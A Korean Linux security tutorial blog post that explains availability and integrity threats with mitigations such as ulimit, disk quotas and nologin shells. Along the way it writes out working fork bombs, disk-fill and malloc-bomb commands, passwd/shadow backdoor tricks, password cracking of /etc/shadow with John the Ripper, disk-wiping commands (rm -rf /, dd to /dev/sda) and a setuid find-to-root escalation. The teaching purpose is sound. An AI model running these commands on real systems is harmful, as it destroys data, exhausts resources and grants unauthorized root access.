해당 포스팅은 rocky linux 기반으로 예제를 작성하였음
정보보안의 3요소?
- 정보보안의 목적은 정보의 세 가지 성질 (CIA : 기밀성, 무결성, 가용성)을 유지하는 것
1. 기밀성 (Confidentiality)
- 정보 자산에 접근할 수 있도록 인가된 사람이나 프로그램만이 "권한의 범위 내에서 정보에 접근"할 수 있도록 하는 성질
- 비공개 정보를 누구나 열람할 수 있다면 기밀성이 손상된 상태
2. 무결성 (Integrity)
- 정보 자산이 손상되진 않았는지, 일관성, 완전성을 유지하는 성질
- 전송 혹은 보관된 데이터가 중간에 손실되거나 파손된다면 무결성을 잃은 것임
3. 가용성 (Availability)
- 인가된 사람이나 프로그램이 "언제든지 정보 자산에 접근"할 수 있는 성질
- 웹사이트 과부하로 사용할 수 없는 상태가 되거나 서버 구축이 잘못돼 처리가 오래 걸리는 등의 문제가 생긴다면 가용성이 손상된 상태
Forkbomb
- 프로세스가 지속적으로 자기 자신을 복제하여 사용 가능한 시스템 리소스를 고갈시키고, 리소스 부족으로 인해 시스템이 느려지거나 작동 중단되는 서비스 거부 (DoS) 공격
:(){ :|:& };:
위와 같은 명령어를 입력하면 bash 에서 forkbomb이 발생하게 된다. (따라하지 말 것)
# dnf install gcc
$ vi main.c // 소스코드 입력
$ gcc -o forkbomb main.c
$ ./forkbomb
#include <sys/types.h>
#include <unistd.h>
int main() {
while (1) {
fork();
}
return 0;
}
C에서 forkbomb을 일으키는 코드이다.
Disk Overflow attack (DoS attack)
cat /dev/zero > /tmp/log
- /dev/zero : NULL(ASCII=0) character를 무한히 반환하는 특수 파일
- Ctrl+C 인터럽트로 멈추지 않으면 디스크 공간이 고갈될 때까지 실행됨
touch `seq 1 100000`
- 리눅스 파일시스템의 파일 생성 갯수 제한 (=2^32, 약 43억)을 노리는 공격
- 10만개의 파일 생성, 그 다음 추가 10만개의 파일 생성, ..., 무한 반복
Memory allocation attacks (malloc bomb)
- 많은 양의 메모리를 할당하는 프로그램
- 프로그램을 수용하기 위해 시스템이 swapping을 시작하면서 swap space를 모두 사용하고 최종적으로 crash 하게됨
- Bash에서의 Malloc Bomb 예시 코드
while true; do echo $(</dev/zero) & done
- Python에서의 Malloc Bomb 예시 코드
$ free -h
total used free shared buff/cache available
Mem: 1.6Gi 814Mi 200Mi 3.0Mi 728Mi 825Mi
Swap: 4.0Gi 63Mi 3.9Gi
$ python
>>> a = 'A' * 800 * (1024**2) # 800MB 크기의 문자열 “AAAAAAA…" 할당
>>> Ctrl+Z
[1]+ Stopped python
$ free -h
total used free shared buff/cache available
Mem: 1.6Gi 1.4Gi 166Mi 0.0Ki 182Mi 248Mi
Swap: 4.0Gi 212Mi 3.8Gi
# 메모리 잔여공간 감소 825 -> 248MB. Swap 사용량 증가 63 -> 212MB
Process Limits
- 기본적으로는 아래와 같이 unlimited가 기본값으로 설정되어있다.
이를 차단하기 위해 아래 예시와 같이 ulimit 커맨드를 활용하면 된다!
-v : 프로세스에 의해 할당된 최대 가상 메모리
-u : 유저가 생성할 수 있는 프로세스의 최대 수
ulimit -v 1048576 # Limit virtual memory allocation for each process to 1GB
ulimit -u 100 # Limit user created processes to 100
단 현재 쉘의 유저에 한해 임시적으로 변경되는 것이 특징이다.
이를 영구적으로 변경하고 싶은 경우 다음과 같이 /etc/security/limits/conf 파일을 수정하면 된다!
디스크 쿼터 (Disk quota)
- 디스크 쿼터
- 파일 시스템마다 사용자나 그룹이 생성할 수 있는 파일의 용량과 개수를 제한하는 것
- 디스크 자원 고갈을 방지하여 디스크 관련 가용성을 확보할 수 있음
- 메일, samba 서버 등과 연계하여 유저의 사용량을 효과적으로 제어할 수 있음
Linux user DB 무결성
- 만약 /etc/passwd 에 기록된 user4의 UID가 0으로 변경되었다면, user4 계정으로 로그인할 경우 root가 된다.
즉 여기서 user4의 1004 부분이 0으로 변경되면 이후 su - user4를 입력하여 user4의 비밀번호를 입력해도 바로 root 유저로 진입할 수 있게 된다.
- /etc/shadow의 두 번째 column에 기록된 user5의 password hash가 지워져서 아래와 같은 형태가 되었다면, 비밀번호 없이 바로 user5로 로그인할 수 있게 된다! (Backdoor 파놓은 셈)
[rocky@localhost ~]$ sudo cat /etc/shadow | grep user5
user5::20044:0:99999:7:::
[rocky@localhost ~]$ su - user5
Last login: Mon Nov 18 00:53:57 KST 2024 on pts/0
[user5@localhost ~]$
- /etc/passwd의 두 번째 column에 기록된 'x'가 지워졌다면 해당 유저의 비밀번호가 없다는 의미이므로
- /etc/shadow를 참조하지 않고 해당 유저로 로그인됨
- 'x' 표시는 비밀번호가 있었는데 shadow 파일로 이동했다는 의미이다.
user3:x:1003:1004::/home/user3:/bin/bash
user4:x:0:1005::/home/user4:/bin/bash
user5::1004:1006::/home/user5:/bin/bash
Rainbow Table과 Salt
여기서 노란색은 비밀번호를 hash algorithm (6=SHA512)라는 알고리즘에 넣은 것, 녹색이 Salt, 파란색이 평문비밀번호+Salt 기반으로 생성된 hash 이다.
MD5, SHA와 같은 Hash 함수의 특징으로는, "같은 입력"이 주어졌을 때 반드시 "같은 값"을 출력하는 특징이 존재한다.
그런데 이제 공격자 관점에서 이 해시 함수의 특징을 바라봤을 때 아래의 rainbow table을 생각해볼 수 있다.
- Rainbow table
- 가능한 입력들에 대해 미리 구해둔 해쉬 값의 테이블
- password hash가 담긴 파일이 유출되면 rainbow table과 join 연산하여 빠르게 평문을 유추할 수 있음!
이러한 레인보우 테이블을 개인 해커는 갖고있지 않지만 state sponsored hacker와 같은 정부의 지원을 받는 해커 집단들은 다 갖고 있다.
따라서 이런 shadow 파일이 딱 유출이 되었을 때 이 해시값과 해킹된 shadow 파일을 join해서 쉽게 패스워드를 찾아낼 수 있는데, 이때 아래의 Salt라는 것을 더하면 이 rainbow table을 사용하지 못하도록 제한할 수 있다!
- Salt
- Rainbow table의 대응수단으로, 시스템에서 정의한 상수 (랜덤 값)
- 사용자가 지정한 비밀번호와 salt를 합쳐 해쉬를 구한다.
여기서 녹색이 랜덤하게 시스템에서 정해준 상수 salt 값이다.
예를 들어 루트의 비밀번호를 "password" 로 똑같은 평문으로 지정했을 때, salt값을 랜덤이기 때문에 다 다를 것이다.
그래서 이 salt 값과 우리가 입력한 패스워드를 결합해서 계속 그 결과로 나오는 저 파란색 hash 값이 다르게 출력되도록 하는 개념이 바로 Salt 인 것이다!
즉 위 사진속 문구를 해석하면 다음과 같다.
user3이 입력한 비밀번호와 salt=Am.LluHMBDzg7r0X (녹색)가 결합되어 해쉬 함수의 입력이 된다.
이후 해시 함수 6(노란색)을 사용하여 zYCJsx4JDN9C4Rjl4vvNH18N4dKT6dTg3dw4n3VHl24eX38fyywVw9LyaYcS 0cevvztCJONfvcwkOk.ygaEKr0 (파란색) 라는 출력이 나오면 인증에 성공하는 것!
그렇다면 이제 salt값이 있는 상황에서 rainbow table도 사용할 수 없는데, 여전히 shadow 파일이 유출되어도 괜찮은가?
그렇지 않다.
salt 값이 있어도 여전히 패스워드 크래킹 위협이 존재하며, 다음 예시를 통해 확인할 수 있다.
John the Ripper : 사전 기반 + 브루트포스 패스워드 크래킹 프로그램
패키지 관리 시스템 "snap" 설치
# dnf install -y epel-release
# dnf install -y snapd
# systemctl enable --now snapd.socket
snap으로 john-the-ripper 설치
# snap install john-the-ripper
쉘에 재로그인 이후부터 john 명령어를 사용할 수 있음
$ john (root, non-root 모두 해당 프로그램 사용 가능)
이를 이용해 패스워드 크래킹 (/etc/shadow) 를 진행하면,
공격자의 경우 계정 비밀번호 평문을 획득할 수 있고, 서버 운영자라면 취약한 계정을 식별할 수 있다.
따라서 유추하기 어려운 (사전에 없고 길이가 긴) 비밀번호를 사용해야 한다.
여기엔 /etc/shadow로 나의 shadow 파일을 넣었지만, 여기에 이제 외부에서 획득한 shadow 파일의 경로를 입력하면 해당 파일에서 비밀번호를 크래킹할 수 있다.
File system destruction
루트 권한의 쉘이 잠시라도 탈취당할 경우 다음과 같은 위험한 커맨드들이 실행될 수 있다...
# rm -rf / 2>/dev/null &
- 시스템에 존재하는 모든 파일 삭제
# dd if=/dev/zero of=/dev/sda bs=1024 count=1
# python -c "print('A'*1024)" > /dev/sda
리눅스에서 보조기억장치(HDD, SSD)를 sda, sdb, sdc, sdd와 같은 파일로 표현한다.
여기서 첫 번째 줄의 /dev/zero는 0을 무한히 반환하는 파일이며 이를 input으로 부여한 것이다.
/dev/sda 파일은 하드디스크나 SSD를 의미하여 어떤 비트나 바이너리를 저장할 수 있는 저장장치
즉 첫 번째 코드를 해석해보면 첫 번째 구역으로 가서 1024 바이트를 한 번 복사하라는 의미! (0으로 덮어쓰는 셈)
두 번째 코드는 파이썬으로 디스크의 첫 구역을 A로 덮어쓰는 것이다.
즉 저장장치 "sda"의 첫 1024 바이트를 NULL 혹은 A 로 덮어쓰는 코드!
- 또한 owner=root인 find, python 등의 프로그램에 set-uid-bit가 걸린 경우, 언제든 root 권한의 쉘이 탈취될 수 있다고 보아야 한다!
$ whoami
rocky
$ ls -al `which find`
-rwsr-xr-x. 1 root root 336272 Nov 5 2023 /usr/bin/find
$ find . -exec python \;
Python 3.9.18 (main, Jan 24 2024, 00:00:00)
[GCC 11.4.1 20231218 (Red Hat 11.4.1-3)] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.getuid(), os.geteuid()
(1000, 0)
>>> os.setuid(0)
>>> os.system('bash')
# whoami
root
또한 꼭 필요한 경우가 아니라면, 모든 유저의 기본 쉘을 /sbin/nologin으로 지정한다.
non-root 유저의 쉘이라도 시스템에 악영향을 끼칠 수가 있으며, 특히 jupyterhub로 python 컴퓨팅 환경을 제공하려는 경우 가급적 모든 유저의 기본 쉘을 nologin으로 바꿔야 한다.
리눅스 서버 해킹 cycle overview
- 로컬 시스템 해킹
- Actor : 사무환경의 직원 혹은 공공장소의 임시 방문객
- user permission 쉘 획득 -> local privilege escalation -> credential 획득/backdoor 설치 -> 증거 인멸 (history, login 기록 삭제) -> login 기록 삭제 -> hacked.
- 원격 시스템 해킹
- Actor : 인터넷에 접속 가능한 누구나
- Target : HTTP 서버, FTP 서버, SSH 서버
- 공격 대상 서버 & 서비스 식별 -> 배너를 통한 서비스 정보 획득 -> 서비스 취약점 익스플로잇 -> user permission 획득 -> user permission 쉘 획득
- 쉘 획득 이후 과정은 위와 동일하다.
'Linux' 카테고리의 다른 글
[Linux] 드림핵 Baby-linux 문제 풀이 (0) | 2024.12.15 |
---|---|
[Linux] crontab 만드는 방법 및 옵션 정리 (0) | 2024.12.03 |
[Rocky Linux] error: too early for operation, device not yet seeded or device model not acknowledged 해결 방법 (0) | 2024.11.21 |
[Rocky Linux] 시스템 로그 확인 방법 및 로그별 저장 위치 - /var/log, journalctl (0) | 2024.11.14 |
[Linux] 리눅스 시스템 부팅 & systemd 서비스 명령어 총정리 (1) | 2024.11.14 |